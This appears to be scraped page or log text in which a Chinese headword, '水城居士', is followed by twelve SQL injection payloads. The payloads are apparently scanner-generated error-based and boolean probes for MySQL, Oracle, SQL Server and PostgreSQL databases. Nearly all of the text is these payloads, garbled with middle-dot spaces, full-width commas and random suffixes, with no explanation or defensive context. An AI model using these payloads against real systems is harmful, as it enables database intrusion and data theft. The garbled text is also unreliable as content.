n. 水城居士·AND·(SELECT·8732·FROM(SELECT·COUNT(*)，CONCAT(0x71706b7171，(SELECT·(ELT(8732=8732，1)))，0x716a766a71，FLOOR(RAND(0)*2))x·FROM·INFORMATION·SCHEMA· PLUGINS GROUP BY x)a)
n. 水城居士·AND·(SELECT·8732·FROM(SELECT·COUNT(*)，CONCAT(0x71706b7171，(SELECT·(ELT(8732=8732，1)))，0x716a766a71，FLOOR(RAND(0)*2))x·FROM·INFORMATION·SCHEMA·PLUGINS·GROUP·BY·x)a)· iMUf
n. 水城居士·AND·1066=(SELECT·UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(107)||CHR(113)||CHR(113)||(SELECT·(CASE·WHEN·(1066=1066)·THEN·1·ELSE·0·END)·FROM·DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)
n. 水城居士·AND·1066=(SELECT·UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(107)||CHR(113)||CHR(113)||(SELECT·(CASE·WHEN·(1066=1066)·THEN·1·ELSE·0·END)·FROM·DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(106)||CHR(113)||CHR(62)))·FROM·DUAL)· kNMi
n. 水城居士·AND·1679=UTL·INADDR·GET·HOST·ADDRESS(CHR(113)||CHR(112)||CHR(107)||CHR(113)||CHR(113)||(SELECT·(CASE·WHEN·(1679=1679)·THEN·1·ELSE·0·END)·FROM·DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(106)||CHR(113))· MLSC
n. 水城居士·AND·4529=CONVERT(INT，(SELECT·CHAR(113)+CHAR(112)+CHAR(107)+CHAR(113)+CHAR(113)+(SELECT·(CASE·WHEN·(4529=4529)·THEN·CHAR(49)·ELSE·CHAR(48)·END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)))· JdRt
n. 水城居士·AND·4667=CONCAT(CHAR(113)+CHAR(112)+CHAR(107)+CHAR(113)+CHAR(113)，(SELECT·(CASE·WHEN·(4667=4667)·THEN·CHAR(49)·ELSE·CHAR(48)·END))，CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113))· AeLk
n. 水城居士·AND·5070·IN·(SELECT·(CHAR(113)+CHAR(112)+CHAR(107)+CHAR(113)+CHAR(113)+(SELECT·(CASE·WHEN·(5070=5070)·THEN·CHAR(49)·ELSE·CHAR(48)·END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)))· ervr
n. 水城居士·AND·8803=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(113)||CHR(113))||(SELECT·(CASE·WHEN·(8803=8803)·THEN·1·ELSE·0·END))::text||(CHR(113)||CHR(106)||CHR(118)||CHR(106)||CHR(113)) AS NUMERIC)
n. 水城居士·AND·8803=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(113)||CHR(113))||(SELECT·(CASE·WHEN·(8803=8803)·THEN·1·ELSE·0·END))::text||(CHR(113)||CHR(106)||CHR(118)||CHR(106)||CHR(113))·AS·NUMERIC)· GPiW
n. 水城居士·AND·EXTRACTVALUE(3788，CONCAT(0x5c，0x71706b7171，(SELECT·(ELT(3788=3788，1)))，0x716a766a71))· pGUU
n. 水城居士·AND·ROW(9453，7954)>(SELECT·COUNT(*)，CONCAT(0x71706b7171，(SELECT·(ELT(9453=9453，1)))，0x716a766a71，FLOOR(RAND(0)*2)) x FROM (SELECT 5346 UNION SELECT 7097 UNION SELECT 9610 UNION SELECT 1292)a GROUP BY x)